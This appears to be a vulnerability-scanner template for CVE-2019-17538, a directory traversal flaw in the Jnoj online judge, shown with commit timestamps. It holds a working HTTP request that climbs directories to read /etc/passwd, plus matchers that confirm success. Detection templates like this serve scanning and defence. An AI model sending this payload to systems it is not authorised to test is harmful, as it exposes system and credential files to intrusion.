2021-03-01 11:29:32 +00:00
|
|
|
id: CVE-2019-17538
|
|
|
|
info:
|
|
|
|
name: Jnoj Directory Traversal for file reading(LFI)
|
|
|
|
author: pussycat0x
|
2021-03-01 12:00:49 +00:00
|
|
|
severity: high
|
2021-03-01 11:29:32 +00:00
|
|
|
reference: https://github.com/shi-yang/jnoj/issues/53
|
2021-03-01 11:56:36 +00:00
|
|
|
tegs: cve.cve2019,jnoj,lfi
|
|
|
|
|
2021-03-01 11:29:32 +00:00
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2021-03-01 11:56:36 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
2021-03-01 11:29:32 +00:00
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
2021-03-01 11:56:36 +00:00
|
|
|
- 200
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:[x*]:0:0:"
|
|
|
|
part: body
|